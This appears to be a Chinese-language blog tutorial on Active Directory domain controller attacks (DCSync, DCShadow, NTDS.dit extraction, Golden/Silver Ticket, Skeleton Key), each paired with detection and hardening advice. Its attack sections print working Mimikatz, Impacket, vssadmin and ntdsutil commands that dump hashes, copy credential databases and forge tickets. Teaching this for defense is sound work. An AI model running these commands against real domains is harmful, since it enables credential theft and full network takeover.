內網域控制器攻擊與防禦

Active Directory Domain Controller Attack and Defense

前言

在企業內網滲透測試中,Active Directory 域控制器 (Domain Controller, DC) 是攻擊者的終極目標。一旦攻破域控,攻擊者便能掌控整個企業網路環境。本文將詳細介紹針對域控制器的常見攻擊手法及相應的防禦措施。

域控制器概述

什麼是域控制器?

域控制器是 Active Directory (AD) 環境中的核心伺服器,負責:

  • 身份驗證:驗證使用者和電腦的登入請求
  • 授權管理:控制資源存取權限
  • 群組原則:推送和管理安全策略
  • 目錄服務:儲存整個網域的使用者、群組、電腦等物件資訊

關鍵檔案與服務

元件說明
NTDS.ditAD 資料庫,儲存所有帳號和密碼雜湊
SYSVOL存放群組原則和登入指令碼
Kerberos預設的身份驗證協定
LDAP目錄查詢協定 (預設 389/636 埠)

常見攻擊路徑

攻擊者通常透過以下路徑取得域控制權:

  1. 憑證竊取 → 提權至域管理員
  2. Kerberos 攻擊 → Golden/Silver Ticket
  3. 資料庫提取 → NTDS.dit 離線破解
  4. 複寫攻擊 → DCSync/DCShadow

DCSync 攻擊

攻擊原理

DCSync 利用 MS-DRSR (Directory Replication Service Remote Protocol) 協定,模擬域控制器向目標 DC 請求密碼資料複寫。

前置條件

攻擊者需具備以下權限之一:

  • Domain Admins
  • Enterprise Admins
  • Replicating Directory Changes + Replicating Directory Changes All

攻擊指令

使用 Mimikatz 執行 DCSync:

1
2
3
4
5
6
7
8
# 提取特定使用者的密碼雜湊
mimikatz # lsadump::dcsync /domain:corp.local /user:Administrator

# 提取所有使用者
mimikatz # lsadump::dcsync /domain:corp.local /all /csv

# 使用 Impacket 執行
python3 secretsdump.py corp.local/admin:Password123@dc01.corp.local -just-dc-ntlm

防禦建議

  • 監控事件 ID 4662(存取目錄服務物件)
  • 限制具有 Replicating Directory Changes 權限的帳號
  • 使用 Microsoft ATA 或 Defender for Identity 偵測異常複寫行為

DCShadow 攻擊

攻擊原理

DCShadow 允許攻擊者在網路中註冊一台偽造的域控制器,然後將惡意變更(如後門帳號)複寫到真正的 DC。

攻擊步驟

1
2
3
4
5
# 步驟一:準備變更(需要 SYSTEM 權限)
mimikatz # lsadump::dcshadow /object:targetuser /attribute:primaryGroupID /value:512

# 步驟二:推送變更(需要域管理員權限)
mimikatz # lsadump::dcshadow /push

防禦建議

  • 監控 SPN 註冊異常(E3514235-4B06-11D1-AB04-00C04FC2DCD2)
  • 監控非 DC 主機的複寫流量
  • 啟用 AdminSDHolder 保護關鍵帳號

NTDS.dit 提取

攻擊原理

NTDS.dit 是 AD 資料庫檔案,包含所有使用者的密碼雜湊。攻擊者可透過多種方式提取此檔案。

攻擊方法

方法一:Volume Shadow Copy

1
2
3
4
5
6
7
8
# 建立陰影複本
vssadmin create shadow /for=C:

# 複製 NTDS.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit

# 複製 SYSTEM 登錄檔(用於解密)
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\system.hive

方法二:ntdsutil

1
ntdsutil "ac i ntds" "ifm" "create full C:\temp\backup" quit quit

方法三:Impacket secretsdump

1
python3 secretsdump.py -ntds ntds.dit -system system.hive LOCAL

防禦建議

  • 監控 vssadmin 和 ntdsutil 的執行
  • 限制域控制器的本機登入權限
  • 啟用 Credential Guard

Golden Ticket 攻擊

攻擊原理

Golden Ticket 利用 Kerberos TGT (Ticket Granting Ticket) 的生成機制,使用竊取的 krbtgt 帳號密碼雜湊偽造任意使用者的 TGT。

攻擊指令

1
2
3
4
5
6
7
8
# 首先取得 krbtgt 的 NTLM 雜湊(需 DCSync 或 NTDS.dit)
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

# 生成 Golden Ticket
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-xxx /krbtgt:aad3b435b51404eeaad3b435b51404ee /ticket:golden.kirbi

# 注入票證
mimikatz # kerberos::ptt golden.kirbi

防禦建議

  • 定期重設 krbtgt 密碼(每 180 天,需重設兩次)
  • 監控 TGT 的異常有效期限(預設 10 小時)
  • 使用 Privileged Access Workstation (PAW)

Silver Ticket 攻擊

攻擊原理

Silver Ticket 偽造特定服務的 TGS (Ticket Granting Service),使用服務帳號的密碼雜湊。與 Golden Ticket 不同,它不經過 KDC 驗證。

攻擊指令

1
2
3
4
5
# 取得服務帳號雜湊後生成 Silver Ticket
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-xxx /target:dc01.corp.local /service:cifs /rc4:hash /ticket:silver.kirbi

# 存取目標服務
dir \\dc01.corp.local\c$

常見服務 SPN

服務SPN
檔案共享CIFS
WMIHOST, RPCSS
PowerShell RemotingHTTP, WSMAN
LDAPLDAP

防禦建議

  • 監控未經 KDC 的服務票證使用
  • 啟用 PAC 驗證
  • 使用 Group Managed Service Accounts (gMSA)

Skeleton Key 攻擊

攻擊原理

Skeleton Key 在域控制器記憶體中注入萬能密碼,允許攻擊者使用「萬能鑰匙」密碼以任何使用者身份登入。

攻擊指令

1
2
3
4
5
6
# 在域控制器上執行(需管理員權限)
mimikatz # privilege::debug
mimikatz # misc::skeleton

# 預設萬能密碼為 "mimikatz"
# 現在可用任何帳號 + "mimikatz" 密碼登入

特性

  • 僅存在於記憶體中,重開機後失效
  • 不修改使用者實際密碼
  • 原始密碼仍可正常使用

防禦建議

  • 啟用 LSA 保護(RunAsPPL)
  • 定期重新啟動域控制器
  • 監控 lsass.exe 的異常載入模組

防禦與偵測

關鍵事件 ID 監控

事件 ID說明
4662存取目錄服務物件(DCSync 偵測)
4672特殊權限登入
4768Kerberos TGT 請求
4769Kerberos TGS 請求
4776NTLM 驗證

綜合防禦策略

  1. 最小權限原則:限制 Domain Admins 成員數量
  2. 分層管理模型:實施 Tier 0/1/2 隔離架構
  3. 特權存取工作站:使用 PAW 管理敏感系統
  4. 憑證保護:啟用 Credential Guard 和 LAPS
  5. 持續監控:部署 SIEM 和 EDR 解決方案
  6. 定期稽核:審查 AD 權限和群組成員資格

偵測工具

  • Microsoft Defender for Identity:偵測橫向移動和憑證竊取
  • BloodHound:分析 AD 攻擊路徑
  • PingCastle:AD 安全評估
  • Purple Knight:AD 安全健康檢查

總結

域控制器攻擊是內網滲透的核心環節。了解這些攻擊手法有助於:

  • 紅隊人員:規劃有效的攻擊路徑
  • 藍隊人員:建立相應的偵測和防禦機制
  • 安全管理員:強化 AD 環境的安全配置

建議定期進行 AD 安全評估,及時修補漏洞,並建立完善的監控體系。

參考資料

comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy